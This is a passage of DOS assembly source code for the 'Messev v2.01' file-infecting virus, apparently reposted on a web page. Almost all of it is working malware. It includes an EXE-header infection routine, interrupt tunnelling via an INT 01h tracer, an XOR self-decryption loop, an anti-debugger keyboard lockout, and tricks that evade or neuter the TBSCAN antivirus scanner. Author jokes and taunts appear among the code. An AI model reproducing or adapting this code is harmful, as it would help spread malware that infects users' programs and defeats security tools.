CALL Unhook_i24h
CALL Pop_All

JMP JMP_Int21h


EXE_Stuff:

MOV AX, Header.HeaderSize ; Calculate headersize.
MOV CX, 16
MUL CX

XCHG CX, AX

CALL Go_End_File

SUB AX, CX ; Minus headersize.
SBB DX, 0

MOV CX, 16 ; In paragraphs.
DIV CX

MOV Header.Init_CS, AX ; Store new CS.
MOV Header.Init_IP, OFFSET START
ADD Header.Init_IP, DX

INC AX ; Anti-heuristic.

MOV Header.Init_SS, AX
MOV Header.Init_SP, (Virus_Mem_Size * 16)

CALL Go_End_File

MOV CX, 16 ; Filelength in paragraphs.
DIV CX

ADD AX, Virus_Mem_Size ; Plus our requirements.
MOV Header.MinMem, AX

CALL Go_End_File ; Length host,
ADD AX, Virus_Size ; Plus our length.
ADC DX, 0

MOV CX, 512 ; Calculate # 512 byte-pages.
DIV CX

OR DX, DX ; No rest?
JZ No_Round ; Then no round-off.
INC AX ; Round off.
No_Round: MOV Header.Byte_Pages, AX
MOV Header.MOD512, DX

RETN



; === Tunnelled disk interrupt 13h. ===
OldInt13h:
PUSHF
CALL DWORD PTR CS:Int13h

RETN


; === Tunnelled DOS-interrupt 21h. ===

OldInt21h:
PUSHF
CALL DWORD PTR CS:Int21h

RETN


;====( Get interrupt vector )================================================
;
; AL = Interrupt number to hook.
;
; Return: CX:BX = Pointer to INT.
;============================================================================
GetInt:

PUSH SI
PUSH DS
PUSH AX

MOV AH, 4 ; Calculate offset in
MUL AH ; interrupt-table.

XCHG SI, AX

XOR AX, AX
MOV DS, AX

CLI ; Get handler-address.
MOV BX, DS:[SI]
MOV CX, DS:[SI+2]
STI

POP AX
POP DS
POP SI

RETN

;====( Set interrupt vector )================================================
;
; AL = Interrupt number to hook.
;
; Returns:
;
; CX:BX = Pointer to handler.
;============================================================================
SetInt:

PUSH SI
PUSH DS
PUSH AX

MOV AH, 4 ; Calculate offset in
MUL AH ; interrupt-table.

XCHG SI, AX

XOR AX, AX
MOV DS, AX

CLI ; Set new address.
MOV DS:[SI], BX
MOV DS:[SI+2], CX
STI

POP AX
POP DS
POP SI

RETN


; === Finds the original BIOS & DOS entrypoint. ===
Tracer:
CALL Push_All

MOV AH, 52h ; List of lists.
INT 21h

MOV AX, ES:[BX-02h] ; Get 1st MCB.
MOV First_MCB, AX

MOV AL, 01h ; Save INT 01h.
CALL GetInt

MOV Int01h, BX
MOV Int01h+2, CX

MOV AL, 01h ; Hook INT 01h.
MOV BX, OFFSET NewInt01h
MOV CX, CS
CALL SetInt

MOV AL, Trace_Mode ; Get address from vector.
CALL GetInt

PUSHF
POP AX
OR AH, 01h ; TF on.
PUSH AX
POPF

CMP Trace_Mode, Bios
JNE Mode_Dos

MOV Int13h, BX
MOV Int13h+2, CX

XOR AH, AH ; Reset disk.
MOV DL, 80h
CALL OldInt13h

JMP Exit_Tracer
Mode_Dos:
MOV Int21h, BX
MOV Int21h+2, CX

MOV AX, 3000h ; Get DOS-version (OEM).
CALL OldInt21h

Exit_Tracer:
PUSHF
POP AX
AND AH, NOT 01h ; TF off (just in case).
PUSH AX
POPF

MOV AL, 01h ; Restore INT 01h.
MOV BX, Int01h
MOV CX, Int01h+2
CALL SetInt

CALL Pop_All

RETN

; I should be learning 4 my exams right now... Yeah right!

DB 'If I don''t pass... fuck it!', 0
DB 'SKLSUX!'

NewInt01h:
PUSH BP
MOV BP, SP
PUSH AX

MOV AX, [BP+4] ; Segment.

CMP CS:Trace_Mode, Bios
JNE Trace_Dos

CMP AH, 0C0h ; In BIOS-segment?
JB Not_In_Bios ; Continue when not.

MOV CS:Int13h+2, AX
MOV AX, [BP+2]
MOV CS:Int13h, AX
JMP Diss_Flag

Trace_Dos:
CMP AX, CS:First_MCB ; In DOS-segment?
JNB Not_In_Bios ; Continue when not.

MOV CS:Int21h+2, AX
MOV AX, [BP+2]
MOV CS:Int21h, AX

Diss_Flag:
; TF off.

AND BYTE PTR [BP+7], NOT 01h

Not_In_Bios:
POP AX
POP BP

IRET


; Taken from Predator virus.
Push_All:
POP CS:Ret_Add ; Pop return address to variable.

PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
PUSH BP

JMP CS:Ret_Add ; Push return address on
; the stack.

Pop_All:
POP CS:Ret_Add ; Save return address.

POP BP
POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF

JMP CS:Ret_Add


; Gets the SFT-address. *UNDOCUMENTED*
; BX = Handle.
;
Get_DCB:
PUSH BX

MOV AX, 1220h ; Get DCB-number.
INT 2Fh

MOV AX, 1216h ; Get DCB-address.
MOV BL, ES:[DI]
INT 2Fh

POP BX

RETN

; If TBSCAN is executed the virus adds the following parameters: NM & CO
; NM = Skip memory-check. (Messev will not be found in memory).
; CO = Compatible mode, (uses DOS-filesystem, WITH our stealth).

TBSCAN DB 'TBSCAN.' ; ThunderBYTE Scanner.


; During execution of one of these programs, the virus will be inactive,
; (no stealth, no infect).

No_Active:
DB 'PKZIP.E' ; PKZIP.EXE
DB 'ARJ.EXE' ; ARJ.EXE
DB 'LHA.EXE' ; LHA.EXE
DB 'RAR.EXE' ; RAR.EXE
DB 'CHKDSK.' ; CHKDSK.EXE
End_No_Active:


Hook_i24h:
CALL Push_All

MOV AL, 24h ; Get INT 24h.
CALL GetInt

MOV CS:Int24h, BX
MOV CS:Int24h+2, CX

MOV AL, 24h ; Hook INT 24h.
MOV BX, OFFSET NewInt24h
MOV CX, CS
CALL SetInt

CALL Pop_All

RETN

; I would really recommend getting this CD
; (yes, it's da theme-music from Carmageddon).

DB '[ DEMANUFACTURE - FEAR FACTORY ]'

Unhook_i24h:
CALL Push_All

MOV AL, 24h ; Restore INT 24h.
MOV BX, CS:Int24h
MOV CX, CS:Int24h+2
CALL SetInt

CALL Pop_All

RETN


; Dummy Critical Error handler.
NewInt24h:
MOV AL, 03h

IRET


;=======================================================================
; Search a table & (re)set zeroflag depending on result. ZF when found.
;
; DS:SI = Line
; CS:DI = Table
; CX = Number of names to compare.
;=======================================================================
Search_Table:
PUSH AX
PUSH BX
PUSH SI
PUSH DI
PUSH BP
PUSH DS
PUSH ES

PUSH CX
PUSH DI
PUSH ES

PUSH DS
POP ES

PUSH SI
POP DI

CLD ; Find end of filename.
MOV AL, '.'
MOV CX, 127
REPNE SCASB

MOV AL, '\' ; Find start of filename.
STD
MOV CX, 127
REPNE SCASB

MOV BP, ES:[DI+2] ; Get first 7 bytes.
MOV BX, ES:[DI+4]
MOV DX, ES:[DI+6]
MOV AL, ES:[DI+8]

POP ES
POP DI
POP CX


Find_Match:
CMP CS:[DI+0], BP ; Compare first word.
JNE Not_Found

CMP CS:[DI+2], BX ; Compare second word.
JNE Not_Found

CMP CS:[DI+4], DX ; Duh?
JNE Not_Found

CMP CS:[DI+6], AL ; And last byte.
JNE Not_Found

CMP AX, AX ; Set ZF.
JMP Exit_Search

Not_Found:
ADD DI, 7 ; Next entry in table.
LOOP Find_Match

XOR AX, AX ; Some stupid way of
NOT AL ; setting the zeroflag.
CMP AL, AH

Exit_Search:
POP ES
POP DS
POP BP
POP DI
POP SI
POP BX
POP AX

RETN


; Is the handle in BX corresponding to a file or a device? (sets ZF).
Check_Handle:
PUSH DX

MOV AX, 4400h ; IOCTL
CALL OldInt21h

TEST DL, 80h ; Filehandle?

POP DX

RETN


Port_Driver DB 'C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR', 0
Parameters DB ' NM CO', 0Dh

End_Encrypted_File:

NOP_Msg DB '$'


; === VIRUS ENTRYPOINT ===
START:
CALL Get_Delta ; Get delta-offset.
Get_Delta: POP SI
SUB SI, OFFSET Get_Delta

PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH DS
PUSH ES
PUSH SI

IN AL, 21h ; Take-out keyboard.
OR AL, 02h ; - ANTI-DEBUGGER -
OUT 21h, AL

PUSH CS
POP DS

MOV BX, SI
MOV CX, OFFSET End_Encrypted_File

Decrypt_Byte: XOR BYTE PTR [BX], 0 ; Decrypt our body.
ORG $-1
File_Key DB 0
INC BX

MOV AH, 09h ; Prints a empty string.
MOV DX, OFFSET NOP_Msg ; (Anti-TbScan).
ADD DX, SI ; Add delta-offset.
INT 21h

LOOP Decrypt_Byte

JMP Entry


; === Original first 24 bytes of the hostfile. ===

Old_Bytes:

DW 'ZM' ; Host is a .EXE-file.
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW OFFSET Carrier ; Host's IP.
DW 0 ; Host's CS, same as virus.

Virus_End:

Header DB 24 DUP(0) ; Used during infection.
Temp_Buffer DB 24 DUP(0) ; Used as a temp. storing buffer.

; === TEMP. VARIABLES ===

Init_Status DB 0
Status DB 0 ; Statusbits.

Int01h DW 0, 0 ; Address INT 01h.
Int21h DW 0, 0 ; Tunnelled INT 21h.
Int24h DW 0, 0 ; Address critical error-handler.
New_Pos DW 0, 0
Old_Pos DW 0, 0
File_Pos DW 0, 0
Read_Bytes DW 0
First_MCB DW 0 ; 1st Memory Control Block.
Trace_Mode DB 0 ; Are we tracing BIOS or DOS-interrupt?
Ret_Add DW 0
Tunnel_Int DW 0, 0 ; Address of the tunnelled interrupt.
Read_Buffer DW 0, 0
FileTime DW 0 ; Duh?!
FileDate DW 0
Temp DB 0

Buffer:


Carrier:
PUSH CS
POP DS

MOV AH, 09h ; Display warning.
MOV DX, OFFSET Warning_Msg
INT 21h

MOV AX, 4C00h ; Exit to DOS.
INT 21h

Warning_Msg DB 'WARNING: This program is infected with '
DB 'the Messev v2.01 virus!', 0Ah, 0Dh, '$'



; Structure of the .EXE-header.

EXE_Header STRUC
Mark DW 0 ; .EXE-identifier (always 'MZ').
Mod512 DW 0 ; Filesize MOD 512.
Byte_Pages DW 0 ; Filesize in 512-byte pages (rounded-up).
Num_Reloc DW 0 ;
HeaderSize DW 0 ; Headersize in paragraphs.
MinMem DW 0 ; Minimal memory requirements in paragraphs.
MaxMem DW 0 ; Maximal memory requirements in paragraphs.
Init_SS DW 0 ; Program's SS.
Init_SP DW 0 ; Initial SP.
Checksum DW 0 ; Checksum, unused by MS-DOS, used by us.
Init_IP DW 0 ; Initial IP.
Init_CS DW 0 ; CS.
EXE_Header ENDS

END START

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT